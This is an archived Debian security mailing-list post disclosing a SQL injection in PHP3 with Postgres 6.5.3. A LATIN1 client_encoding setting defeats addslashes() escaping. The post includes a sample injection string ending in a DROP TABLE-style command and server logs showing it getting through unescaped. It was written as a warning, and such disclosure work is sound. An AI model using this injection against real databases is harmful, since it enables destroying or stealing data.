Re: Security problem in PHP3+Postgres with Potato?
Hi,
In March the 25th, I wrote a line about a security problem with
PHP3+postgres+apache shipped with Potato, due to character encoding. The
security team judged it wasn't a security problem, so I suppose I can
publish details about the problem.
apache 1.3.9-14
php3 3.0.18-0potato
php3-pgsql 3.0.18-0potato
postgresql 6.5.3-27
%<----------------------------------------
$conn = pg_connect("dbname=" . BASE_DOC . " port=" . BASE_PORT
. " user=" . BASE_USER);
$var="é\'; BAD REQUEST";
//pg_exec($conn, "SET client_encoding = 'LATIN1'");
$request = "SELECT col FROM tab WHERE col='" . addslashes($var) . "'";
%<----------------------------------------
(BAD REQUEST is here something like DROP TABLE for example)
If client_encoding line is commented,
%<----------------------------------------
InitPostgres
reset_client_encoding()..
reset_client_encoding() done.
StartTransactionCommand
query: SET client_encoding = 'SQL_ASCII'
ProcessUtility: SET client_encoding = 'SQL_ASCII'
CommitTransactionCommand
StartTransactionCommand
query: SELECT col FROM tab WHERE col='é\\\'; BAD REQUEST'
ProcessQuery
CommitTransactionCommand
%<----------------------------------------
Backslash and apostroph are escaped. No problem.
If client_encoding line is uncommented, é and the next char are
converted into (XXXX) (X alphanumeric). Don't know precisely why.
%<----------------------------------------
StartTransactionCommand
query: SET client_encoding = 'SQL_ASCII'
ProcessUtility: SET client_encoding = 'SQL_ASCII'
CommitTransactionCommand
StartTransactionCommand
query: SET client_encoding = 'LATIN1'
ProcessUtility: SET client_encoding = 'LATIN1'
CommitTransactionCommand
StartTransactionCommand
query: SELECT col FROM tab WHERE col='(81e9)\\'; BAD REQUEST'
ProcessQuery
ProcessQuery
CommitTransactionCommand
%<----------------------------------------
Backslash is escaped, but not apostroph.
Postgres is configured with LANG=fr_FR.
It works with PHP3+Apache+Postgres, PHP3-cgi+Postgres and
PHP4-cgi+Postgres (not tested with PHP4+Apache+Postgres, but should be
the same), on a Potato box.
My poor analysis:
It looks like PHP and Postgres don't agree on the character encoding.
%<----------------------
InitPostgres
reset_client_encoding()..
reset_client_encoding() done.
StartTransactionCommand
query: select getdatabaseencoding()
ProcessQuery
CommitTransactionCommand
StartTransactionCommand
query: SET client_encoding = 'SQL_ASCII'
ProcessUtility: SET client_encoding = 'SQL_ASCII'
%<----------------------
PHP sets the client_encoding to SQL_ASCII and doesn't allow other
settings ( pg_set_client_encoding is PHP 3 CVS only and PHP 4 >= 4.0.3 ;
cf http://www.php.net/manual/en/function.pg-set-client-encoding.php ).
But I interfered when manually setting client_encoding to LATIN1.
The other point is Postgres 6.5.3 from Potato allow bad requests:
%<----------------------
StartTransactionCommand
query: SELECT col FROM tab WHERE col='(81e9)\\'; select something from
secret'
ProcessQuery
CommitTransactionCommand
%<----------------------
Postgres 7.x from Woody doesn't allow them. You got an
AbortTransactionCommand, due to the last apostroph (I tried to
circumvent it without success: you need to introduce an other apostroph
or a \-comment (like \z or \!), which implies new trick with encoding,
which means an other (81e9) and it can't be parsed). In other words,
Postgres 7.x parse all the commands before doing them, and abort if it
can't parse.
Please note my analysis could be wrong, incomplete or incoherent,
I found this problem while trying to display correct iso8859-1 entities
on a PHP3 web page (data coming from Postgres). I set client_encoding,
did some tests and saw I could pass a bad request to execute arbitrary
SQL.I think people should be warned not to set client_encoding to latin1
before a fix is available. Any webmaster using PHP+Postgres and setting
client_encoding to latin1 on his/her/its PHP pages allows arbitrary SQL
to be passed through his/her/its forms for example.
In my example, the code is written by the webmaster, except the $var
which comes from a form for example. If the webmaster voluntarily sets
the client_encoding, the bug can be used. This is more than a simple
bug, since the result of a client_encoding request 1) doesn't do want I
want correcly and 2) allows arbitrary SQL request, even if I feeled
secure with my addslashes().
Ps: sorry for mime/multipart, a poorly configured SMTP server
("X-MimeOLE: Produced By Microsoft Exchange V6.0.5762.3") rewrites my
plain text emails. Reported three weeks ago to the admin, but still no
change.
Regards,
--
Benoît Sibaud
R&D Engineer - France Telecom
--
To UNSUBSCRIBE, email to debian-security-request@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org
Reply to: